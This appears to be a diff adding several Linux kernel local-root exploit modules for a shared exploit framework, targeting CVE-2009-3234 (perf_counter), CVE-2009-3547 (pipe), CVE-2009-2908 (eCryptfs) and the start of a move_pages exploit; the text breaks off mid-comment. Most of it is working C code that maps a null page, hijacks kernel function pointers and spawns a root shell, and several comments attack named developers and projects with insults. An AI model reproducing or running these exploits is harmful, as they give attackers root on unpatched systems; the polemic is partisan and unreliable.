#define DISABLED_APPARMOR 0x4
|
||||
#define DISABLED_SELINUX 0x8
|
|
@ -0,0 +1,127 @@
|
|||
/* Ingo m0wnar */
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
#undef __NR_perf_counter_open
|
||||
#ifdef __x86_64__
|
||||
#define __NR_perf_counter_open 298
|
||||
//#define OFFSET_OF_IP 0x88
|
||||
#define BUF_SIZE 0x100
|
||||
#else
|
||||
#define __NR_perf_counter_open 336
|
||||
//#define OFFSET_OF_IP 0x5c
|
||||
#define BUF_SIZE 0x80
|
||||
#endif
|
||||
|
||||
struct perf_counter_attr {
|
||||
unsigned int type;
|
||||
unsigned int size;
|
||||
};
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "Ingo m0wnar: Linux 2.6.31 perf_counter local root (Ingo backdoor method)";
|
||||
char *cve = "CVE-2009-3234";
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 0;
|
||||
|
||||
|
||||
static char *dirty_code;
|
||||
|
||||
int prepare(unsigned char *ptr)
|
||||
{
|
||||
char *mem;
|
||||
int fd;
|
||||
|
||||
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
|
||||
if (fd < 0) {
|
||||
printf("unable to create file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mem = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("unable to mmap\n");
|
||||
unlink("./suckit_selinux");
|
||||
exit(1);
|
||||
}
|
||||
mem[0] = '\xff';
|
||||
mem[1] = '\x15';
|
||||
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : (unsigned int)mem + 12;
|
||||
mem[6] = '\xff';
|
||||
mem[7] = '\x25';
|
||||
*(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : (unsigned int)mem + 16;
|
||||
*(unsigned long *)&mem[12] = (unsigned long)exp_state->own_the_kernel;
|
||||
*(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
|
||||
write(fd, mem, 0x1000);
|
||||
close(fd);
|
||||
munmap(mem, 0x1000);
|
||||
|
||||
fd = open("./suckit_selinux", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
printf("unable to open file for reading\n");
|
||||
unlink("./suckit_selinux");
|
||||
exit(1);
|
||||
}
|
||||
dirty_code = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
|
||||
if (dirty_code == MAP_FAILED) {
|
||||
printf("unable to mmap\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
unlink("./suckit_selinux");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
struct perf_counter_attr *ctr;
|
||||
int tid;
|
||||
int i;
|
||||
|
||||
ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
|
||||
if (ctr == NULL) {
|
||||
fprintf(stdout, "out of memory\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Ingo's 3 line backdoor, reminds me of wait4() */
|
||||
//ctr->size = BUF_SIZE;
|
||||
//*(unsigned long *)((char *)ctr + OFFSET_OF_IP) = (unsigned long)dirty_code;
|
||||
//syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
|
||||
|
||||
/* just in case it gets compiled differently... ;) */
|
||||
ctr->size = BUF_SIZE;
|
||||
for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) {
|
||||
if (!(i % (sizeof(unsigned long) * sizeof(unsigned long))))
|
||||
continue;
|
||||
*(unsigned long *)((char *)ctr + i) = (unsigned long)dirty_code;
|
||||
}
|
||||
|
||||
syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
|
||||
|
||||
/* if we're successful, we won't get to this next line */
|
||||
|
||||
fprintf(stdout, "System is not vulnerable.\n");
|
||||
exit(1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,468 @@
|
|||
/* exp_moosecox.c
|
||||
Watch a video of the exploit here:
|
||||
http://www.youtube.com/watch?v=jt81NvaOj5Y
|
||||
|
||||
developed entirely by Ingo Molnar (exploit writer extraordinaire!) ,
|
||||
thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
|
||||
|
||||
dedicated to the Red Hat employees who get paid to copy+paste my
|
||||
twitter and issue security advisories, their sweet
|
||||
acknowledgement policy, and general classiness
|
||||
see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
|
||||
|
||||
"policy" aside, there's a word for what you guys are doing: "plagiarism"
|
||||
in fact, i tested this one day by posting three links to twitter,
|
||||
without any discussion on any of them. the same day, those three
|
||||
(and only those three) links were assigned CVEs, even though two of
|
||||
them weren't even security bugs (it doesn't pay to copy+paste)
|
||||
|
||||
official Ingo Molnar (that's me) policy for acknowledgement in
|
||||
exploits requires general douche-ness or plagiarization
|
||||
official policy further dictates immediate exploit release for
|
||||
embargoed, patched bug
|
||||
|
||||
I'll be curious to see what the CVE statistics are like for the
|
||||
kernel this year when they get compiled next year -- I'm predicting
|
||||
that when someone's watching the sleepy watchers, a more personal
|
||||
interest is taken in doing the job that you're paid to do correctly.
|
||||
|
||||
--------------------------------------------------------------------
|
||||
|
||||
Special PS note to Theo (I can do this here because I know he'll
|
||||
never read it -- the guy is apparently oblivious to the entire world of
|
||||
security around him -- the same world that invents the protections
|
||||
years before him that he pats himself on the back for "innovating")
|
||||
Seriously though, it's incredible to me that an entire team
|
||||
of developers whose sole purpose is to develop a secure operating
|
||||
system can be so oblivious to the rest of the world. They haven't
|
||||
innovated since they replaced exploitable string copies with
|
||||
exploitable string truncations 6 or so years ago.
|
||||
|
||||
The entire joke of a thread can be read here:
|
||||
http://www.pubbs.net/openbsd/200911/4582/
|
||||
"Our focus therefore is always on finding innovative ideas which make
|
||||
bugs very hard to exploit succesfully."
|
||||
"He's too busy watching monkey porn instead of
|
||||
building researching last-year's security technology that will stop
|
||||
an exploit technique that has been exploited multiple times."
|
||||
"it seems that everyone else is slowly coming around to the
|
||||
same solution."
|
||||
|
||||
So let's talk about this "innovation" of theirs with their
|
||||
implementation of mmap_min_addr:
|
||||
|
||||
They implemented it in 2008, a year after Linux implemented it, a
|
||||
year after the public phrack article on the bug class, more than a
|
||||
year after my mail to dailydave with the first public Linux kernel
|
||||
exploit for the bug class, and over two years after UDEREF was
|
||||
implemented in PaX (providing complete protection against the smaller
|
||||
subset of null ptr dereference bugs and the larger class of invalid
|
||||
userland access in general).
|
||||
|
||||
OpenBSD had a public null pointer dereference exploit (agp_ioctl())
|
||||
published for its OS in January of 2007. It took them over a year
|
||||
and a half to implement the same feature that was implemented in
|
||||
Linux a few months after my public exploit in 2007.
|
||||
|
||||
So how can it be that "everyone else is slowly coming around to the
|
||||
same solution" when "everyone else" came to that solution over a
|
||||
year before you Theo? In fact, I prediced this exact situation would
|
||||
happen back in 2007 in my DD post:
|
||||
http://lists.virus.org/dailydave-0703/msg00011.html
|
||||
"Expect OpenBSD to independently invent a protection against null ptr
|
||||
deref bugs sometime in 2009."
|
||||
|
||||
Let's talk about some more "innovation" -- position independent
|
||||
executables. PaX implemented position independent executables on
|
||||
Linux back in 2001 (ET_DYN). PIE binary support was added to GNU
|
||||
binutils in 2003. Those OpenBSD innovators implemented PIE binaries
|
||||
in 2008, 7 years after PaX. Innovation indeed!
|
||||
|
||||
How about their W^X/ASLR innovation? These plagiarists have the
|
||||
audacity to announce on their press page:
|
||||
http://www.openbsd.org/press.html
|
||||
"Microsoft borrows one of OpenBSD's security features for Vista,
|
||||
stack/library randomization, under the name Address Space Layout
|
||||
Randomization (ASLR). "Until now, the feature has been most
|
||||
prominently used in the OpenBSD Unix variant and the PaX and Exec
|
||||
Shield security patches for Linux""
|
||||
Borrowing one of your features? Where'd this ASLR acronym come from
|
||||
anyway? Oh that's right, PaX again -- when they published the first
|
||||
design and implementation of it, and coined the term, in July 2001.
|
||||
It covered the heap, mmap, and stack areas.
|
||||
OpenBSD implemented "stack-gap randomization" in 2003. Way to
|
||||
innovate!
|
||||
|
||||
W^X, which is a horrible name as OpenBSD doesn't even enforce it with
|
||||
mprotect restrictions like PaX did from the beginning or even SELinux
|
||||
is doing now (from a 3rd party contribution modeled after PaX):
|
||||
PaX implemented true per-page non-executable page support, protecting
|
||||
binary data, the heap, and the stack, back in 2000.
|
||||
OpenBSD implemented it in 2003, requiring a full userland rebuild.
|
||||
The innovation is overwhelming!
|
||||
|
||||
They keep coming up with the same exact "innovations" others came up
|
||||
with years before them. Their official explanation for where they
|
||||
got the W^X/ASLR ideas was a drunk guy came into their tent at one of
|
||||
their hack-a-thons and started talking about the idea. They had
|
||||
never heard of PaX when we asked them in 2003. Which makes the
|
||||
following involuntarily contributed private ICB logs from Phrack #66
|
||||
(Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
|
||||
|
||||
On some sunny day in July 2002 (t: Theo de Raadt):
|
||||
<cloder> why can't you just randomize the base
|
||||
<cloder> that's what PaX does
|
||||
<t> You've not been paying attention to what art's saying, or you don't
|
||||
understand yet, either case is one of think it through yourself.
|
||||
<cloder> whatever
|
||||
|
||||
Only to see poetic justice in August 2003 (ttt: Theo again):
|
||||
|
||||
<miod> more exactly, we heard of pax when they started bitching
|
||||
<ttt> miod, that was very well spoken.
|
||||
|
||||
That wraps up our OpenBSD history lesson, in case anyone forgot it.
|
||||
PS -- enjoy that null ptr deref exploit just released for OpenBSD.
|
||||
|
||||
--------------------------------------------------------------------
|
||||
|
||||
Important final exploit notes:
|
||||
|
||||
don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
|
||||
or DEBUG_SPINLOCK are enabled and modify the structures below
|
||||
accordingly -- a fancier exploit would do this automatically
|
||||
|
||||
I've broken the 2.4->2.6.10 version of the exploit and would like to see
|
||||
someone fix it ;) See below for more comments on this.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/utsname.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
int pipefd[2];
|
||||
struct exploit_state *exp_state;
|
||||
int is_old_kernel = 0;
|
||||
|
||||
int go_go_speed_racer(void *unused)
|
||||
{
|
||||
int ret;
|
||||
|
||||
while(!exp_state->got_ring0) {
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
ret = pipe(pipefd);
|
||||
if (!ret) {
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* <3 twiz/sgrakkyu */
|
||||
int start_thread(int (*f)(void *), void *arg)
|
||||
{
|
||||
char *stack = malloc(0x4000);
|
||||
int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
|
||||
if (tid < 0) {
|
||||
printf("can't create thread\n");
|
||||
exit(1);
|
||||
}
|
||||
sleep(1);
|
||||
return tid;
|
||||
}
|
||||
|
||||
char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
|
||||
char *cve = "CVE-2009-3547";
|
||||
|
||||
#define PIPE_BUFFERS 16
|
||||
|
||||
/* this changes on older kernels, but it doesn't matter to our method */
|
||||
struct pipe_buf_operations {
|
||||
int can_merge;
|
||||
void *map;
|
||||
void *unmap;
|
||||
void *confirm;
|
||||
void *release;
|
||||
void *steal;
|
||||
void *get;
|
||||
};
|
||||
|
||||
struct pipe_buffer2620ornewer {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
unsigned int flags;
|
||||
unsigned long private;
|
||||
};
|
||||
|
||||
struct pipe_buffer2619orolder {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
unsigned int flags;
|
||||
};
|
||||
|
||||
struct pipe_buffer2616orolder {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2620ornewer {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// LOCKBREAK
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
struct pipe_inode_info2619orolder {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2616orolder {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
*/
|
||||
void *owner;
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
};
|
||||
|
||||
struct fasync_struct {
|
||||
int magic;
|
||||
int fa_fd;
|
||||
struct fasync_struct *fa_next;
|
||||
void *file;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2610orolder {
|
||||
/* this includes 2.4 kernels */
|
||||
unsigned long lock; // can be rw or spin
|
||||
void *next, *prev;
|
||||
char *base;
|
||||
unsigned int len;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
/* 2.4 only */
|
||||
unsigned int waiting_readers;
|
||||
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
/* 2.6 only */
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
|
||||
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
|
||||
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
|
||||
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
|
||||
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
|
||||
int i;
|
||||
int newver;
|
||||
struct utsname unm;
|
||||
|
||||
i = uname(&unm);
|
||||
if (i != 0) {
|
||||
printf("unable to get kernel version\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
|
||||
newver = 3;
|
||||
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
|
||||
newver = 2;
|
||||
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
|
||||
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
|
||||
newver = 1;
|
||||
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
|
||||
// is_old_kernel = 1;
|
||||
// newver = 0;
|
||||
} else {
|
||||
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* for most of these what will happen is our write will
|
||||
cause ops->confirm(/pin) to be called, which we've replaced
|
||||
with own_the_kernel
|
||||
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
|
||||
called instead (repeatedly) is the release op
|
||||
*/
|
||||
if (newver == 3) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_new->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_new->next = &info_new->next;
|
||||
info_new->readers = 1;
|
||||
info_new->writers = 1;
|
||||
info_new->nrbufs = 1;
|
||||
info_new->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_new->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 2) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_old->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_old->next = &info_old->next;
|
||||
info_old->readers = 1;
|
||||
info_old->writers = 1;
|
||||
info_old->nrbufs = 1;
|
||||
info_old->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_old->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 1) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_older->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_older->next = &info_older->next;
|
||||
info_older->readers = 1;
|
||||
info_older->writers = 1;
|
||||
info_older->nrbufs = 1;
|
||||
info_older->curbuf = 1;
|
||||
/* we'll get called multiple times from free_pipe_info
|
||||
but it's ok because own_the_kernel handles this case
|
||||
*/
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_older->bufs[i].ops = (void *)ops;
|
||||
} else {
|
||||
/*
|
||||
different ballgame here, instead of being able to
|
||||
provide a function pointer in the ops table, you
|
||||
control a base address used to compute the address for
|
||||
a copy into the kernel via copy_from_user. The
|
||||
following should get you started.
|
||||
*/
|
||||
/* lookup symbol for writable fptr then trigger it later
|
||||
change the main write in the one thread to write out
|
||||
pointers with the value of exp_state->exploit_kernel
|
||||
*/
|
||||
info_oldest->base = (char *)0xc8000000;
|
||||
info_oldest->readers = 1;
|
||||
info_oldest->writers = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
ops->can_merge = 1;
|
||||
for (i = 0; i < 16; i++)
|
||||
((void **)&ops->map)[i] = exp_state->own_the_kernel;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
char buf[128];
|
||||
int fd;
|
||||
int i = 0;
|
||||
|
||||
/* ignore sigpipe so we don't bail out early */
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
start_thread(go_go_speed_racer, NULL);
|
||||
|
||||
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
|
||||
fflush(stdout);
|
||||
|
||||
while (!exp_state->got_ring0 && i < 10000000) {
|
||||
fd = pipefd[1];
|
||||
sprintf(buf, "/proc/self/fd/%d", fd);
|
||||
fd = open(buf, O_WRONLY | O_NONBLOCK);
|
||||
if (fd >= 0) {
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
write(fd, ".", 1);
|
||||
close(fd);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (!exp_state->got_ring0) {
|
||||
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
// return RUN_ROOTSHELL;
|
||||
return FUNNY_PIC_AND_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,85 @@
|
|||
/* CVE-2009-2908
|
||||
Integrated into enlightenment upon Fotis Loukos' request
|
||||
Also ported to x64
|
||||
Original x86 exploit was written by Fotis Loukos:
|
||||
http://fotis.loukos.me/security/exploits/paokara.c
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#define __USE_GNU
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
struct myinodeops {
|
||||
void *dontcare[17];
|
||||
void *getxattr;
|
||||
};
|
||||
|
||||
char *desc = "Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root";
|
||||
char *cve = "CVE-2009-2908";
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
/* this gets placed at 0x1 because we overwrite the i_op with 0x1
|
||||
in our loop that sets the mutex count properly
|
||||
*/
|
||||
struct myinodeops *ops = (struct myinodeops *)(buf + 1);
|
||||
unsigned long *lbuf = (unsigned long *)buf;
|
||||
int i;
|
||||
|
||||
/* make sure mutex count is 1, handle any configuration
|
||||
*/
|
||||
for (i = 0; i < 200; i++)
|
||||
lbuf[i] = 1;
|
||||
|
||||
ops->getxattr = exp_state->own_the_kernel;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
char buf1[4096];
|
||||
char buf2[4096];
|
||||
int fd;
|
||||
char *path = getenv("XPL_PATH");
|
||||
if (path == NULL) {
|
||||
fprintf(stdout, " [+] XPL_PATH environment variable not set. Defaulting to current directory.\n");
|
||||
path = ".";
|
||||
}
|
||||
snprintf(buf1, sizeof(buf1), "%s/lala", path);
|
||||
snprintf(buf2, sizeof(buf2), "%s/koko", path);
|
||||
|
||||
if (open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0) {
|
||||
fprintf(stdout, "Failed to create %s\n", buf1);
|
||||
return 0;
|
||||
}
|
||||
link(buf1, buf2);
|
||||
unlink(buf1);
|
||||
if ((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0) {
|
||||
fprintf(stdout, "Failed to create %s\n", buf2);
|
||||
return 0;
|
||||
}
|
||||
unlink(buf2);
|
||||
write(fd, "kot!", 4);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,63 @@
|
|||
/* powerglove */
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
#undef __NR_perf_counter_open
|
||||
#ifdef __x86_64__
|
||||
#define __NR_perf_counter_open 298
|
||||
#else
|
||||
#define __NR_perf_counter_open 336
|
||||
#endif
|
||||
|
||||
struct perf_counter_attr {
|
||||
unsigned int type;
|
||||
unsigned int size;
|
||||
};
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "Powerglove: Linux 2.6.31 perf_counter local root";
|
||||
char *cve = "CVE-2009-3234";
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int prepare(unsigned char *ptr)
|
||||
{
|
||||
return EXIT_KERNEL_TO_NULL;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
struct perf_counter_attr *ctr;
|
||||
|
||||
ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
|
||||
if (ctr == NULL) {
|
||||
fprintf(stdout, "bleh\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#ifdef __x86_64__
|
||||
ctr->size = 0xd0;
|
||||
#else
|
||||
ctr->size = 0x60;
|
||||
#endif
|
||||
|
||||
syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,326 @@
|
|||
/* sieve (because the Linux kernel leaks like one, get it?)
|
||||
Bug NOT discovered by Marcus Meissner of SuSE security
|
||||
This bug was discovered by Ramon de Carvalho Valle in September of 2009
|
||||
The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
|
||||
for the bug (but had forgotten about it until now)
|
||||
Ramon's report was sent to Novell's internal bugzilla, upon which
|
||||
some months later Marcus took credit for discovering someone else's bug
|
||||
Maybe he thought he could get away with it ;) Almost ;)
|
||||
|
||||
greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
|
||||
|
||||
first exploit of 2010, next one will be for a bugclass that has
|
||||
afaik never been exploited on Linux before
|
||||
|
||||
note that this bug can also cause a DoS like so:
|
||||
|
||||
Unable to handle kernel paging request at ffffffff833c3be8 RIP:
|
||||
[<ffffffff800dc8ac>] new_page_node+0x31/0x48
|
||||
PGD 203067 PUD 205063 PMD 0
|
||||
Oops: 0000 [1] SMP
|
||||
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
|
||||
RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>]
|
||||
new_page_node+0x31/0x48
|
||||
RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246
|
||||
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
|
||||
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
|
||||
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
|
||||
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
|
||||
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
|
||||
FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000)
|
||||
knlGS:0000000000000000
|
||||
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
|
||||
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
|
||||
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task
|
||||
ffff81009d8c4080)
|
||||
Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b
|
||||
0000000000000000
|
||||
0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
|
||||
00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
|
||||
Call Trace:
|
||||
[<ffffffff800dd008>] migrate_pages+0x8d/0x42b
|
||||
[<ffffffff800dc87b>] new_page_node+0x0/0x48
|
||||
[<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
|
||||
[<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
|
||||
[<ffffffff8005d28d>] tracesys+0xd5/0xe0
|
||||
|
||||
|
||||
Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff
|
||||
RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48
|
||||
RSP <ffff8100a3c6de50>
|
||||
CR2: ffffffff833c3be8
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <errno.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
#undef MPOL_MF_MOVE
|
||||
#define MPOL_MF_MOVE (1 << 1)
|
||||
|
||||
int max_numnodes;
|
||||
|
||||
unsigned long node_online_map;
|
||||
|
||||
unsigned long node_states;
|
||||
|
||||
unsigned long our_base;
|
||||
unsigned long totalhigh_pages;
|
||||
|
||||
#undef __NR_move_pages
|
||||
#ifdef __x86_64__
|
||||
#define __NR_move_pages 279
|
||||
#else
|
||||
#define __NR_move_pages 317
|
||||
#endif
|
||||
|
||||
/* random notes I took when writing this (all applying to the 64bit case):
|
||||
|
||||
checking in a bitmap based on node_states[2] or node_states[3]
|
||||
